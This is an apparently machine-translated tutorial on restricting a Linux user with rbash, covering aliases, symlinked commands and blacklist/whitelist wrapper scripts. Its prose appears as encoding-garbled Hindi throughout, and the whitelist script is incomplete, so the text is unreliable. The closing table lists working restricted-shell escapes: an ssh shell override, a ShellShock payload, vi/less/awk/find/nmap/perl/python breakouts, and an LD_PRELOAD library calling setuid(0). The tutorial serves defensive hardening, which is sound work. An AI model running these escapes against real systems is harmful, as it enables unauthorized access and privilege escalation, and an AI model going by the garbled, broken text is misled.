
рдПрдХ рджрд┐рди, рдирд┐рдореНрди рдХрд╛рд░реНрдп рджрд┐рдЦрд╛рдИ рджрд┐рдпрд╛: рд▓рд┐рдирдХреНрд╕ рдореЗрдВ рдПрдХ рд╕реНрдерд╛рдиреАрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рдлрд╝реЛрд▓реНрдбрд░ рдФрд░ рдлрд╝рд╛рдЗрд▓реЛрдВ рддрдХ рд╕реАрдорд┐рдд рдкрд╣реБрдВрдЪ рдХреЗ рд╕рд╛рде, рдЬрд┐рд╕рдореЗрдВ рди рдХреЗрд╡рд▓ рд╕рдВрдкрд╛рджрди, рдмрд▓реНрдХрд┐ рджреЗрдЦрдиреЗ, рд╕рд╛рде рд╣реА рдХреЗрд╡рд▓ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП рдЙрдкрдпреЛрдЧрд┐рддрд╛рдУрдВ рдХреА рдХреНрд╖рдорддрд╛ рднреА рд╢рд╛рдорд┐рд▓ рд╣реИред рдХреЗрд╡рд▓ рд╕реНрдерд╛рдиреАрдп рдкрд╣реБрдБрдЪ рдкреНрд░рджрд╛рди рдХреА рдЬрд╛рддреА рд╣реИ, рдХреЛрдИ рдиреЗрдЯрд╡рд░реНрдХ рдкрд╣реБрдБрдЪ рдирд╣реАрдВ рд╣реИред
рдкрд╣рд┐рдпрд╛ рдХреЛ рд╕реБрджреГрдврд╝ рдирд╣реАрдВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдореИрдВрдиреЗ рдЬреЛ рдкрд╣рд▓рд╛ рдХрд╛рдо рдХрд┐рдпрд╛ рдерд╛, рд╡рд╣ рдЗрдВрдЯрд░рдиреЗрдЯ рдХреЛ рдЦреЛрджрдирд╛ рд╢реБрд░реВ рдХрд░ рд░рд╣рд╛ рдерд╛, рдЬрд┐рд╕рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╡рд┐рдХрд▓реНрдк рдереЗ:
- рдиреЗрдЯрд╡рд░реНрдХ рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХреНрд╕реЗрд╕ рдкреНрд░рддрд┐рдмрдВрдз ssh, sftp (рдлрд┐рдЯ рдирд╣реАрдВ рдерд╛)
- рд▓рд┐рдирдХреНрд╕ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рджреНрд╡рд╛рд░рд╛ рдПрдХреНрд╕реЗрд╕ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХрд╛ рднреЗрджрднрд╛рд╡ рдЦреБрдж (рдлрд┐рдЯ рдирд╣реАрдВ рдерд╛, рдореИрдВ рдПрдХ рд╕рд╛рд░реНрд╡рднреМрдорд┐рдХ рд╕рдорд╛рдзрд╛рди рдЪрд╛рд╣реВрдВрдЧрд╛)
- рдЪреЗрд░реЛрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ (рдлрд┐рдЯ рдирд╣реАрдВ рдерд╛)
- рддреГрддреАрдп-рдкрдХреНрд╖ рдЙрдкрдпреЛрдЧрд┐рддрд╛рдУрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП SELinux (рдлрд┐рдЯ рдирд╣реАрдВ рдерд╛, рд╕рд┐рд╕реНрдЯрдо рдХреЛ рдЬрдЯрд┐рд▓ рдХрд░рддрд╛ рд╣реИ)ред
рдЦреЛрдЬ рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рдмреИрд╢ рд╢реЗрд▓ рдХреЗ рднреАрддрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреНрд╖рдорддрд╛рдУрдВ рдХреЛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд рддрдВрддреНрд░ рдкрд╛рдпрд╛ рдЧрдпрд╛, рдЗрд╕реЗ
рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рд╢реЗрд▓ рдпрд╛ рдЖрд░рдмреИрд╢ рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред
рдпрд╣ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИ:
- рд╕реАрдбреА рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдХреЛ рдмрджрд▓рдиреЗ рдХрд╛ рдХреЛрдИ рддрд░реАрдХрд╛ рдирд╣реАрдВ рд╣реИ
- рдЖрдк рдЪрд░, рдкрде, ENV, BASH_ENV рдХреЗ рдорд╛рдиреЛрдВ рдХреЛ рд░реАрд╕реЗрдЯ рдпрд╛ рдмрджрд▓ рдирд╣реАрдВ рд╕рдХрддреЗ
- / (рд╕реНрд▓реИрд╢) рдпреБрдХреНрдд рдЖрджреЗрд╢реЛрдВ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдирд╛ рдирд┐рд╖рд┐рджреНрдз рд╣реИ
- рдореБрдЦреНрдп рд╢реЗрд▓ рд╕реЗ рдлрд╝рдВрдХреНрд╢рди рдЖрдпрд╛рдд рдХрд░рдирд╛ рдордирд╛ рд╣реИ
- рдпрд╣ рдСрдкрд░реЗрдЯрд░реЛрдВ>, <, |, <>,> &, рдФрд░>, >> рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдЙрдЯрдкреБрдЯ рдХреЛ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рдиреЗ рд╕реЗ рдордирд╛ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ
- рдХрдорд╛рдВрдб рдЖрджрд┐ рдХреЛ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдЧреНрдЬреАрдХреНрдпреВрдЯ рдХрдорд╛рдВрдб рдХрд╛ рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд░рдирд╛ рдордирд╛ рд╣реИред
рдПрдХ рдЛрдг рд╣реИ, рдпрд╣ рд╕реБрд░рдХреНрд╖рд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП .bashrc рд╢реЗрд▓ (рд╕реВрдЪрдирд╛ рдЖрдЧреЗ рд╣реЛрдЧреА) рдХреЗ рд╡реНрдпрд╡рд╣рд╛рд░ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдЖрджреЗрд╢реЛрдВ рдХреЗ рд▓рд┐рдП рдЙрдкрдирд╛рдо рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИред
рдмреЗрд╢рдХ, rashash рдмреЙрдХреНрд╕ рд╕реЗ рдмрд╛рд╣рд░ рд╣реИ, рдпрд╣ рд╕рднреА рд╕рдорд╕реНрдпрд╛рдУрдВ рдХрд╛ рд╕рдорд╛рдзрд╛рди рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╣рдо рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдмрдирд╛рдиреЗ рдФрд░ рд╣рдорд╛рд░реА рд╕рдорд╕реНрдпрд╛ рдХреЗ рдкреВрд░реНрдг рд╕рдорд╛рдзрд╛рди рдХреЗ рд▓рд┐рдП рдЕрдкрдирд╛ рд╡рд╛рддрд╛рд╡рд░рдг рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░рддреЗ рд╣реИрдВред
рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рд╕рднреА рдСрдкрд░реЗрд╢рди рд╕реБрдкрд░рдпреВрдЬрд╝рд░ (рд░реВрдЯ) рд╕реЗ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред
1. рдПрдХ рд╕реАрдорд┐рдд рд╢реЗрд▓ рдмрдирд╛рдПрдВ
echo '/bin/bash -r' > /bin/zbash chmod +x /bin/zbash
2. рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдмрдирд╛рдПрдБ
adduser --home /home/zuser --shell /bin/zbash zuser
3. рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдмрджрд▓реЗрдВ
chown root.zuser /home/zuser chmod 750 /home/zuser
4. рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдореЗрдВ рдЬрд╛рдПрдВ рдФрд░ рдЙрд╕реЗ рд╕рд╛рдл рдХрд░реЗрдВ
cd ~zuser ls -a rm .bash* rm .profile ls -a
5. рд╢реЗрд▓ рдФрд░ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ рдЕрдиреБрдХреВрд▓рд┐рдд рдХрд░реЗрдВ
echo "PATH=:/home/zuser/bin" > .bashrc echo "alias help='echo access is limited'" >> .bashrc
.Bashrc рдлрд╝рд╛рдЗрд▓ рд╢реЗрд▓ рдХреЗ рд╡реНрдпрд╡рд╣рд╛рд░ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддреА рд╣реИ, рдХрдорд╛рдВрдб рдпрд╛ рдЕрддрд┐рд░рд┐рдХреНрдд
рд╡рд┐рдХрд▓реНрдк рдХреЗ рд▓рд┐рдП рдЙрдкрдирд╛рдо рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдЬреЛрдбрд╝рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
рд╕реБрд░рдХреНрд╖рд╛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдЪрд▓рд╛рдПрдБ:
echo "alias echo=':'" >> .bashrc echo "alias cat=':'" >> .bashrc echo "alias bash=':'" >> .bashrc echo "alias sh=':'" >> .bashrc echo "alias ln=':'" >> .bashrc echo "alias set=':'" >> .bashrc echo "alias uset=':'" >> .bashrc echo "alias export=':'" >> .bashrc echo "alias typeset=':'" >> .bashrc echo "alias declare=':'" >> .bashrc echo "alias alias=':'" >> .bashrc echo "alias unalias=':'" >> .bashrc
рд╕реВрдЪреА рдЬрд╛рд░реА ...
6. рдХрд╛рдо рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ
root@host: su zuser zuser@host: help access is limited zuser@host: pwd /home/zuser zuser@host: ls /tmp/ bash: ls: zuser@host: /bin/ls bash: /bin/ls: {/} zuser@host: echo $PATH :/home/zuser/bin zuser@host: PATH=/bin/ bash: PATH: zuser@host: exit
7. рдорд╛рдиреНрдп рдЖрджреЗрд╢ рдЬреЛрдбрд╝реЗрдВ
ln -s /bin/ping /home/zuser/bin/ping
рдорд╣рддреНрд╡рдкреВрд░реНрдг рд░реВрдк рд╕реЗ, ln рдХрдорд╛рдВрдб рдореЗрдВ рдкрде рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред
8. рдХрдорд╛рдВрдб рдХреЗ рд╡рд┐рдХрд▓реНрдкреЛрдВ рдХреЛ рд╕реАрдорд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рд░реИрдкрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
mkdir /var/scripts echo "/usr/sbin/useradd -D" > /var/scripts/user-info chmod +x /var/scripts/user-info ln -s /var/scripts/user-info /home/zuser/bin/user-info
9. рдЖрдк рдлрд╝рд╛рдЗрд▓реЛрдВ рдФрд░ рдлрд╝реЛрд▓реНрдбрд░реЛрдВ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЖрд╡рд░рдг рднреА рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВред
рдПрдХ
рдХрд╛рд▓реА рд╕реВрдЪреА рдХреЗ рд╕рд╛рде (рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛ рд╕рдм рдХреБрдЫ рдЕрдиреБрдорддрд┐ рджреЗрдВ):
- рдПрдХ рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдПрдБ
nano /var/scripts/ls
- рдлрд╝рд╛рдЗрд▓ рд╕рд╛рдордЧреНрд░реА
blacklist="\? ../ /etc /bin /boot /var" for var in $blacklist do if [[ $* == *$var* ]]; then echo 'Access is denied:' $* exit fi done /bin/ls $*
рдмреНрд▓реИрдХрд▓рд┐рд╕реНрдЯ - рдПрдХ рд╡реИрд░рд┐рдПрдмрд▓ рдЬрд┐рд╕рдореЗрдВ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдпрд╛ рдлрд╛рдЗрд▓реЛрдВ рдХреА рдмреНрд▓реИрдХрд▓рд┐рд╕реНрдЯ рд╣реЛрддреА рд╣реИ (рд░рд┐рдХреНрдд рд╕реНрдерд╛рди рд╕реЗ рдЕрд▓рдЧ)
- рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЬрд╝реБрд╕рд░ рдХреЗ рд▓рд┐рдП рдХрдорд╛рдВрдб рдЬреЛрдбрд╝реЗрдВ
chmod +x /var/scripts/ls ln -s /var/scripts/ls /home/zuser/bin/ls
рдпрд╣ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЖрдкрдХреЛ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдФрд░ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рд▓рд┐рдП рдХрд┐рд╕реА рднреА рдХреБрдВрдЬреА рдХреЗ рд╕рд╛рде ls рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ рдЬреЛ рдмреНрд▓реИрдХрд▓рд┐рд╕реНрдЯ рд╕реЗ рдореЗрд▓ рдирд╣реАрдВ рдЦрд╛рддреА рд╣реИрдВ
рдПрдХ
рд╕рдлреЗрдж рд╕реВрдЪреА рдХреЗ рд╕рд╛рде (рд╕рднреА рдЪреАрдЬреЛрдВ рдХреЛ рдЫреЛрдбрд╝рдХрд░)
- рдПрдХ рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдПрдБ
nano /var/scripts/cat
- рдлрд╝рд╛рдЗрд▓ рд╕рд╛рдордЧреНрд░реА
whitelist="./ /tmp/"
рд╢реНрд╡реЗрддрд╕реВрдЪреА - рдПрдХ рдЪрд░ рдЬрд┐рд╕рдореЗрдВ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдпрд╛ рдлрд╛рдЗрд▓реЛрдВ рдХреА рдПрдХ рд╕рдлреЗрдж рд╕реВрдЪреА рд╣реЛрддреА рд╣реИ (рдЕрдВрддрд░рд┐рдХреНрд╖ рдЕрд▓рдЧ)
- рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЬрд╝реБрд╕рд░ рдХреЗ рд▓рд┐рдП рдХрдорд╛рдВрдб рдЬреЛрдбрд╝реЗрдВ
chmod +x /var/scripts/cat ln -s /var/scripts/cat /home/zuser/bin/cat
рдпрд╣ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЖрдкрдХреЛ рд╕рдлреЗрдж рд╕реВрдЪреА рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рд╕рд╛рде рдмрд┐рд▓реНрд▓реА рдХрдорд╛рдВрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред
рдХрд┐рдпрд╛ , рд╣рдо рдЕрдВрдд рдореЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкрд░рд┐рдгрд╛рдо рдорд┐рд▓рд╛:
- рд╣рдордиреЗ rbash рд╢реЗрд▓ рдХреЗ рд╕рд╛рде рдПрдХ zuser рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдмрдирд╛рдпрд╛
- рдХрдВрд╕реЛрд▓ рдореЗрдВ рдСрдЯреЛ-рдкреВрд░реНрдгрддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдХреЛ рдЕрдХреНрд╖рдо рдХрд░ рджрд┐рдпрд╛
- рдЬрд╝реБрд╕рд░ рдХреЗрд╡рд▓ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ / рд╣реЛрдо / рдЬрд╝реБрд╕рд░ / рдмрд┐рди рд╕реЗ рдЙрдкрдпреЛрдЧрд┐рддрд╛рдУрдВ рдХреЛ рдЪрд▓рд╛ рд╕рдХрддрд╛ рд╣реИ
- рдкрд┐рдВрдЧ рдХрдорд╛рдВрдб рдХреЛ рдЬреВрд╕рд░ рдореЗрдВ рдЬреЛрдбрд╝рд╛
- рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛-рдЬрд╛рдирдХрд╛рд░реА рдХрдорд╛рдВрдб рдХреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдЬрд╝реБрд╕рд░ рдореЗрдВ рдЬреЛрдбрд╝рд╛ рдЧрдпрд╛
- zuser рдХреЛ ls рдФрд░ cat рдХрдорд╛рдВрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд░реИрдкрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛
рдпрд╣ рд╡рд┐рдзрд┐ рджреБрд░реНрднрд╛рдЧреНрдп рд╕реЗ 100% рд╕реБрд░рдХреНрд╖рд╛ рдХреА рдЧрд╛рд░рдВрдЯреА рдирд╣реАрдВ рджреЗрддреА рд╣реИ, рдФрд░ рдХреБрдЫ рдЬреНрдЮрд╛рди рдФрд░ рдпреЛрдЧреНрдпрддрд╛ рдХреЗ рд╕рд╛рде, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрд╕ рд╢реЗрд▓ рдХреЛ рдЫреЛрдбрд╝ рд╕рдХрддрд╛ рд╣реИред
Jouretz рдХреЗ рд▓рд┐рдП рдзрдиреНрдпрд╡рд╛рдж рдЯрд┐рдкреНрдкрдгреА рдореЗрдВ
YaDr arheops рдЙрдиреНрд╣реЛрдВрдиреЗ рд╢реЗрд▓ рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рджрд░рдХрд┐рдирд╛рд░ рдХрд░рдиреЗ рдХреЗ рдЙрджрд╛рд╣рд░рдг
рдкреНрд░рджрд╛рди рдХрд┐рдП ред
рдЗрд╕ рд╕рдорд╛рдзрд╛рди (рд╢реЗрд▓ рдПрд╕реНрдХреЗрдк) рдореЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдордЬреЛрд░рд┐рдпрд╛рдВ рдореМрдЬреВрдж рд╣реИрдВ, рдЬрд┐рдиреНрд╣реЗрдВ рдзреНрдпрд╛рди рдореЗрдВ рд░рдЦрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП:
рдкрде | рдкрд╛рде рдЪрд░ рдХреЛ рдмрджрд▓рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ |
рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рдкреНрд░рддрд┐рд▓рд┐рдкрд┐ рдмрдирд╛рдПрдБ | рдЕрдкрдиреА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ |
Ssh рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рддреЗ рд╕рдордп, рдЖрдк рд╢реЗрд▓ рдХреЛ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ | ssh zuser@xxxx -t "/bin/bash" |
Ssh рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рддреЗ рд╕рдордп, рдЖрдк рд╢реЗрд▓ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓ рдХреЛ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ | ssh zuser@xxxx -t "bash --noprofile" |
Ssh рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рддреЗ рд╕рдордп, рдЖрдк ShellShock рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ | ssh zuser@xxxx -t "() { :; }; /bin/bash" |
рд╡рд╛рдпрд╛ рдЙрдкрдпреЛрдЧрд┐рддрд╛рдУрдВ vi, рд╡рд┐рдо | :!bash |
рд╡рд╛рдпрд╛ рдЙрдкрдпреЛрдЧрд┐рддрд╛рдУрдВ vi, рд╡рд┐рдо | :set shell=/bin/bash :shell |
рдЙрдкрдпреЛрдЧрд┐рддрд╛рдУрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЖрджрдореА, рдЕрдзрд┐рдХ, рдХрдо | !bash |
рдЦреЛрдЬ рдЙрдкрдпреЛрдЧрд┐рддрд╛ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ | find . -maxdepth 0 -execdir /bin/bash \; |
рд╡рд╛рдпрд╛ рдЬрд╛рдЧ рдЙрдкрдпреЛрдЧрд┐рддрд╛ | awk 'BEGIN {system("/bin/bash")}' |
рд╡рд╛рдпрд╛ рдирдВрдк рдЙрдкрдпреЛрдЧрд┐рддрд╛ | nmap --interactive |
рд╡рд╛рдпрд╛ рдирдВрдк рдЙрдкрдпреЛрдЧрд┐рддрд╛ | echo "os.execute('/bin/sh')" > exploit.nse nmap --script=exploit.nse |
рдкрд░реНрд▓ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ | perl -e 'exec "/bin/bash";' |
рдЕрдЬрдЧрд░ | python -c 'import pty; pty.spawn("/bin/bash")' |
рдорд╛рдпрд╛ рдорд╛рдпрд╛ | ruby: exec "/bin/bash" |
LD_PRELOAD рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ | Bad.c рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдПрдБ:
#include <stdio.h> #include <unistd.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("echo work"); system("/bin/bash --noprofile"); } рд╣рдо рд╕рдВрдХрд▓рди рдХрд░рддреЗ рд╣реИрдВ:
gcc -fPIC -shared -o evil.so evil.c -nostartfiles рд╣рдо рдкрд░рд┐рдгрд╛рдорд┐рдд рдмреБрд░рд╛рдИ рдХреЛ рдмрдВрдж рдХрд░ рджреЗрддреЗ рд╣реИрдВред рдХрдВрд╕реЛрд▓ рдХреЗ рд╕рд╛рде рдорд╢реАрди рдХреЛ рдмрдВрдж рдФрд░ рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдлрд╝рд╛рдЗрд▓:
LD_PRELOAD=$PWD/evil.so ls рдПрдХ рддрд░реНрдХ рдХреЗ рд░реВрдк рдореЗрдВ, рдХреЛрдИ рднреА рдЙрдкрд▓рдмреНрдз рдЖрджреЗрд╢ |
рдкрд░реНрдпрд╛рдкреНрдд рд░реВрдк рд╕реЗ рдмрдбрд╝реА рд╕рдВрдЦреНрдпрд╛ рдореЗрдВ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдХреЗ рдХрд╛рд░рдг, рдЗрд╕ рдкрджреНрдзрддрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреЗрд╡рд▓ рдЧреИрд░-рдорд╣рддреНрд╡рдкреВрд░реНрдг рдкреНрд░рдгрд╛рд▓рд┐рдпреЛрдВ рдкрд░ рдПрдХ рд╕реНрдерд╛рдиреАрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ; ssh рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рдкрд╣реБрдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреНрд╖рдорддрд╛рдУрдВ рдХреЛ рд╕реАрдорд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЪреЗрд░реЛрдЯ рдпрд╛ рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрд┐рддрд╛рдУрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдмреЗрд╣рддрд░ рд╣реЛрддрд╛ рд╣реИред
рдореБрдЭреЗ рдЙрдореНрдореАрдж рд╣реИ рдХрд┐ рдпрд╣ рдЬрд╛рдирдХрд╛рд░реА рдЙрдкрдпреЛрдЧреА рд╣реЛрдЧреАред